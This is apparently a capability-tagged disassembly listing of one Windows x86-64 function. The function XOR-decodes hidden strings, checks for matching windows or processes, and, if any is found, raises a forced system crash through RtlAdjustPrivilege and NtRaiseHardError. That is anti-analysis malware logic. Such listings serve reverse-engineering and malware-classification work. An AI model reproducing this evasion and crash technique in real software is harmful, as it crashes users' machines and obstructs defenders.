Function at 0x1400473b0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xa0
mov rax, qword [0x14024b028]
xor rax, rsp
mov qword [rbp + 0x47], rax
xor edi, edi
movdqa xmm0, xmmword [0x140230210]
movdqu xmmword [rbp - 0x11], xmm0
mov dword [rbp - 1], 0x100a2be
mov ecx, edi
nop dword [rax]
lea eax, [rcx - 0x4a]
xor byte [rbp + rcx - 0x11], al
inc rcx
cmp rcx, 0x12
jb 0x1400473f0
mov byte [rbp + 2], dil
lea r8, [rbp + 1]
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0x1f]
call fcn.14005e5e0
nop
lea rcx, [rbp + 0x1f]
call fcn.1400458b0
mov rbx, rax
lea rcx, [rbp + 0x1f]
call fcn.14005b500
mov rcx, qword [rbp + 0x1f]
mov qword [rbp + 0x1f], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.140075c30
test rbx, rbx
jne 0x140047d15
movdqa xmm0, xmmword [0x140230200]
movdqu xmmword [rbp - 0x11], xmm0
mov dword [rbp - 1], 0x100a2be
mov rcx, rdi
nop dword [rax]
lea eax, [rcx - 0x4a]
xor byte [rbp + rcx - 0x11], al
inc rcx
cmp rcx, 0x12
jb 0x140047460
mov byte [rbp + 2], 0
lea r8, [rbp + 1]
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0x1f]
call fcn.14005e5e0
nop
lea rcx, [rbp + 0x1f]
call fcn.1400458b0
mov rbx, rax
lea rcx, [rbp + 0x1f]
call fcn.14005b500
mov rcx, qword [rbp + 0x1f]
mov qword [rbp + 0x1f], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.140075c30
test rbx, rbx
jne 0x140047d15
movdqa xmm0, xmmword [0x140230310]
movdqu xmmword [rbp - 0x11], xmm0
mov dword [rbp - 1], 0xadbfa3
mov byte [rbp + 3], 1
mov rcx, rdi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x4a]
xor byte [rbp + rcx - 0x11], al
inc rcx
cmp rcx, 0x13
jb 0x1400474e0
mov byte [rbp + 3], 0
lea r8, [rbp + 2]
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0x1f]
call fcn.14005e5e0
nop
lea rcx, [rbp + 0x1f]
call fcn.1400458b0
mov rbx, rax
lea rcx, [rbp + 0x1f]
call fcn.14005b500
mov rcx, qword [rbp + 0x1f]
mov qword [rbp + 0x1f], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.140075c30
test rbx, rbx
jne 0x140047d15
movdqa xmm0, xmmword [0x1402301e0]
movdqu xmmword [rbp - 0x11], xmm0
mov dword [rbp - 1], 0xb1ade9b1
mov word [rbp + 3], 0xaf
mov byte [rbp + 5], 1
mov rcx, rdi
nop word [rax + rax]
lea eax, [rcx - 0x4a]
xor byte [rbp + rcx - 0x11], al
inc rcx
cmp rcx, 0x15
jb 0x140047560
mov byte [rbp + 5], 0
lea r8, [rbp + 4]
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0x1f]
call fcn.14005e5e0
nop
lea rcx, [rbp + 0x1f]
call fcn.1400458b0
mov rbx, rax
lea rcx, [rbp + 0x1f]
call fcn.14005b500
mov rcx, qword [rbp + 0x1f]
mov qword [rbp + 0x1f], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.140075c30
test rbx, rbx
jne 0x140047d15
movdqa xmm0, xmmword [0x1402302a0]
movdqu xmmword [rbp - 0x11], xmm0
mov word [rbp - 1], 0xa3
mov byte [rbp + 1], 1
mov rcx, rdi
lea eax, [rcx - 0x4a]
xor byte [rbp + rcx - 0x11], al
inc rcx
cmp rcx, 0x11
jb 0x1400475d0
mov byte [rbp + 1], 0
lea r8, [rbp]
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0x1f]
call fcn.14005e5e0
nop
lea rcx, [rbp + 0x1f]
call fcn.1400458b0
mov rbx, rax
lea rcx, [rbp + 0x1f]
call fcn.14005b500
mov rcx, qword [rbp + 0x1f]
mov qword [rbp + 0x1f], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.140075c30
test rbx, rbx
jne 0x140047d15
mov dword [rbp - 0x11], 0xdad7c5c6
mov dword [rbp - 0xd], 0x93d2d4d7
mov dword [rbp - 9], 0xa5c7db
mov byte [rbp - 5], 1
mov rcx, rdi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x4a]
xor byte [rbp + rcx - 0x11], al
inc rcx
cmp rcx, 0xb
jb 0x140047650
mov byte [rbp - 5], 0
lea r8, [rbp - 6]
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0x1f]
call fcn.14005e5e0
nop
lea rcx, [rbp + 0x1f]
call fcn.1400458b0
mov rbx, rax
lea rcx, [rbp + 0x1f]
call fcn.14005b500
mov rcx, qword [rbp + 0x1f]
mov qword [rbp + 0x1f], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.140075c30
test rbx, rbx
jne 0x140047d15
mov dword [rbp - 0x11], 0xc8d9d3df
mov dword [rbp - 0xd], 0xd8c4de94
mov word [rbp - 9], 0x100
mov rcx, rdi
nop dword [rax]
lea eax, [rcx - 0x4a]
xor byte [rbp + rcx - 0x11], al
inc rcx
cmp rcx, 8
jb 0x1400476c0
mov byte [rbp - 8], 0
lea r8, [rbp - 9]
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0x1f]
call fcn.14005e5e0
nop
lea rcx, [rbp + 0x1f]
call fcn.1400458b0
mov rbx, rax
lea rcx, [rbp + 0x1f]
call fcn.14005b500
mov rcx, qword [rbp + 0x1f]
mov qword [rbp + 0x1f], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.140075c30
test rbx, rbx
jne 0x140047d15
mov dword [rbp - 0x11], 0xc8d9d3df
mov dword [rbp - 0xd], 0xd8928f8c
mov dword [rbp - 9], 0x100dac6
mov rcx, rdi
nop
lea eax, [rcx - 0x4a]
xor byte [rbp + rcx - 0x11], al
inc rcx
cmp rcx, 0xa
jb 0x140047730
mov byte [rbp - 6], 0
lea r8, [rbp - 7]
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0x1f]
call fcn.14005e5e0
nop
lea rcx, [rbp + 0x1f]
call fcn.1400458b0
mov rbx, rax
lea rcx, [rbp + 0x1f]
call fcn.14005b500
mov rcx, qword [rbp + 0x1f]
mov qword [rbp + 0x1f], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.140075c30
test rbx, rbx
jne 0x140047d15
mov dword [rbp - 0x11], 0xdccadee1
mov dword [rbp - 0xd], 0xcfddd3c9
mov dword [rbp - 9], 0xb9a591d5
mov word [rbp - 5], 0xa7
mov byte [rbp - 3], 1
mov rcx, rdi
nop dword [rax + rax]
lea eax, [rcx - 0x4a]
xor byte [rbp + rcx - 0x11], al
inc rcx
cmp rcx, 0xd
jb 0x1400477b0
mov byte [rbp - 3], 0
lea r8, [rbp - 4]
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0x1f]
call fcn.14005e5e0
nop
lea rcx, [rbp + 0x1f]
call fcn.1400458b0
mov rbx, rax
lea rcx, [rbp + 0x1f]
call fcn.14005b500
mov rcx, qword [rbp + 0x1f]
mov qword [rbp + 0x1f], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.140075c30
test rbx, rbx
jne 0x140047d15
mov dword [rbp - 0x11], 0xdddcdef0
mov dword [rbp - 0xd], 0x93ceded6
mov dword [rbp - 9], 0xa5c7db
mov byte [rbp - 5], 1
mov rcx, rdi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x4a]
xor byte [rbp + rcx - 0x11], al
inc rcx
cmp rcx, 0xb
jb 0x140047830
mov byte [rbp - 5], 0
lea r8, [rbp - 6]
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0x1f]
call fcn.14005e5e0
nop
lea rcx, [rbp + 0x1f]
call fcn.1400458b0
mov rbx, rax
lea rcx, [rbp + 0x1f]
call fcn.14005b500
mov rcx, qword [rbp + 0x1f]
mov qword [rbp + 0x1f], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.140075c30
test rbx, rbx
jne 0x140047d15
mov dword [rbp - 0x11], 0xd6d6d2ee
mov dword [rbp - 0xd], 0x93888dc9
mov dword [rbp - 9], 0xa5c7db
mov byte [rbp - 5], 1
mov rcx, rdi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x4a]
xor byte [rbp + rcx - 0x11], al
inc rcx
cmp rcx, 0xb
jb 0x1400478b0
mov byte [rbp - 5], 0
lea r8, [rbp - 6]
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0x1f]
call fcn.14005e5e0
nop
lea rcx, [rbp + 0x1f]
call fcn.1400458b0
mov rbx, rax
lea rcx, [rbp + 0x1f]
call fcn.14005b500
mov rcx, qword [rbp + 0x1f]
mov qword [rbp + 0x1f], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.140075c30
test rbx, rbx
jne 0x140047d15
movdqa xmm0, xmmword [0x1402301f0]
movdqu xmmword [rbp - 0x11], xmm0
mov word [rbp - 1], 0x100
mov rcx, rdi
nop dword [rax]
lea eax, [rcx - 0x4a]
xor byte [rbp + rcx - 0x11], al
inc rcx
cmp rcx, 0x10
jb 0x140047920
mov byte [rbp], 0
lea r8, [rbp - 1]
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0x1f]
call fcn.14005e5e0
nop
lea rcx, [rbp + 0x1f]
call fcn.1400458b0
mov rbx, rax
lea rcx, [rbp + 0x1f]
call fcn.14005b500
mov rcx, qword [rbp + 0x1f]
mov qword [rbp + 0x1f], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.140075c30
test rbx, rbx
jne 0x140047d15
movdqa xmm0, xmmword [0x140230230]
movdqu xmmword [rbp - 0x11], xmm0
movdqa xmm1, xmmword [0x140230300]
movdqu xmmword [rbp - 1], xmm1
mov dword [rbp + 0xf], 0xb0baf7e4
mov dword [rbp + 0x13], 0xb8f2f2ae
mov dword [rbp + 0x17], 0x100baa6
mov rcx, rdi
nop dword [rax + rax]
lea eax, [rcx - 0x4a]
xor byte [rbp + rcx - 0x11], al
inc rcx
cmp rcx, 0x2a
jb 0x1400479b0
mov byte [rbp + 0x1a], 0
lea r8, [rbp + 0x19]
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0x1f]
call fcn.14005e5e0
nop
lea rcx, [rbp + 0x1f]
call fcn.1400458b0
mov rbx, rax
lea rcx, [rbp + 0x1f]
call fcn.14005b500
mov rcx, qword [rbp + 0x1f]
mov qword [rbp + 0x1f], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.140075c30
test rbx, rbx
jne 0x140047d15
mov dword [rbp - 0x11], 0xccfcc4fd
mov dword [rbp - 0xd], 0xcfd9cbd7
mov dword [rbp - 9], 0xa4b8da90
mov word [rbp - 5], 0x100
mov rcx, rdi
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x4a]
xor byte [rbp + rcx - 0x11], al
inc rcx
cmp rcx, 0xc
jb 0x140047a30
mov byte [rbp - 4], 0
lea r8, [rbp - 5]
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0x1f]
call fcn.14005e5e0
nop
lea rcx, [rbp + 0x1f]
call fcn.1400458b0
mov rbx, rax
lea rcx, [rbp + 0x1f]
call fcn.14005b500
mov rcx, qword [rbp + 0x1f]
mov qword [rbp + 0x1f], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.140075c30
test rbx, rbx
jne 0x140047d15
mov dword [rbp - 0x11], 0xdd8c81ce
mov dword [rbp - 0xd], 0xd892dcd8
mov dword [rbp - 9], 0x100dac6
mov rcx, rdi
nop
lea eax, [rcx - 0x4a]
xor byte [rbp + rcx - 0x11], al
inc rcx
cmp rcx, 0xa
jb 0x140047aa0
mov byte [rbp - 6], 0
lea r8, [rbp - 7]
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0x1f]
call fcn.14005e5e0
nop
lea rcx, [rbp + 0x1f]
call fcn.1400458b0
mov rbx, rax
lea rcx, [rbp + 0x1f]
call fcn.14005b500
mov rcx, qword [rbp + 0x1f]
mov qword [rbp + 0x1f], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.140075c30
test rbx, rbx
jne 0x140047d15
movdqa xmm0, xmmword [0x1402302a0]
movdqu xmmword [rbp - 0x11], xmm0
mov word [rbp - 1], 0xa3
mov byte [rbp + 1], 1
mov rcx, rdi
lea eax, [rcx - 0x4a]
xor byte [rbp + rcx - 0x11], al
inc rcx
cmp rcx, 0x11
jb 0x140047b10
mov byte [rbp + 1], 0
lea r8, [rbp]
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0x1f]
call fcn.14005e5e0
nop
lea rcx, [rbp + 0x1f]
call fcn.1400458b0
mov rbx, rax
lea rcx, [rbp + 0x1f]
call fcn.14005b500
mov rcx, qword [rbp + 0x1f]
mov qword [rbp + 0x1f], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.140075c30
test rbx, rbx
jne 0x140047d15
movdqa xmm0, xmmword [0x140230290]
movdqu xmmword [rbp - 0x11], xmm0
mov word [rbp - 1], 0x100
mov rcx, rdi
nop dword [rax]
lea eax, [rcx - 0x4a]
xor byte [rbp + rcx - 0x11], al
inc rcx
cmp rcx, 0x10
jb 0x140047b80
mov byte [rbp], 0
lea rdx, [rbp - 0x11]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x140047d15
mov dword [rbp - 0x11], 0xd6d5d2fb
mov dword [rbp - 0xd], 0xeb9cc2c8
mov dword [rbp - 9], 0xa4b7dad7
mov word [rbp - 5], 0xb0
mov byte [rbp - 3], 1
mov rcx, rdi
nop dword [rax + rax]
lea eax, [rcx - 0x4a]
xor byte [rbp + rcx - 0x11], al
inc rcx
cmp rcx, 0xd
jb 0x140047bd0
mov byte [rbp - 3], 0
lea rdx, [rbp - 0x11]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x140047d15
mov dword [rbp - 0x11], 0xdad7c5e6
mov dword [rbp - 0xd], 0x9dcfc8df
mov dword [rbp - 9], 0xb5b3d6f2
mov word [rbp - 5], 0x100
mov rcx, rdi
nop word [rax + rax]
lea eax, [rcx - 0x4a]
xor byte [rbp + rcx - 0x11], al
inc rcx
cmp rcx, 0xc
jb 0x140047c20
mov byte [rbp - 4], 0
lea rdx, [rbp - 0x11]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x140047d15
mov dword [rbp - 0x11], 0xccfcc4fd
mov dword [rbp - 0xd], 0xcfd9cbd7
mov word [rbp - 9], 0x100
mov rcx, rdi
lea eax, [rcx - 0x4a]
xor byte [rbp + rcx - 0x11], al
inc rcx
cmp rcx, 8
jb 0x140047c60
mov byte [rbp - 8], 0
lea rdx, [rbp - 0x11]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x140047d15
mov dword [rbp - 0x11], 0xe9ece3fe
mov dword [rbp - 0xd], 0xdfd9ff9a
mov dword [rbp - 9], 0xa4a7d8cb
mov word [rbp - 5], 0xb0
mov byte [rbp - 3], 1
mov rcx, rdi
nop dword [rax + rax]
lea eax, [rcx - 0x4a]
xor byte [rbp + rcx - 0x11], al
inc rcx
cmp rcx, 0xd
jb 0x140047cb0
mov byte [rbp - 3], 0
lea rdx, [rbp - 0x11]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x140047d15
mov dword [rbp - 0x11], 0xc0d4dbf9
mov dword [rbp - 0xd], 0xdbd9fe
mov byte [rbp - 9], 1
nop word [rax + rax]
lea eax, [rdi - 0x4a]
xor byte [rbp + rdi - 0x11], al
inc rdi
cmp rdi, 7
jb 0x140047cf0
mov byte [rbp - 9], 0
lea rdx, [rbp - 0x11]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140047d4c
lea r9, [rbp - 0x19]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rbp - 0x15]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc0000420
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.1400753c0
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret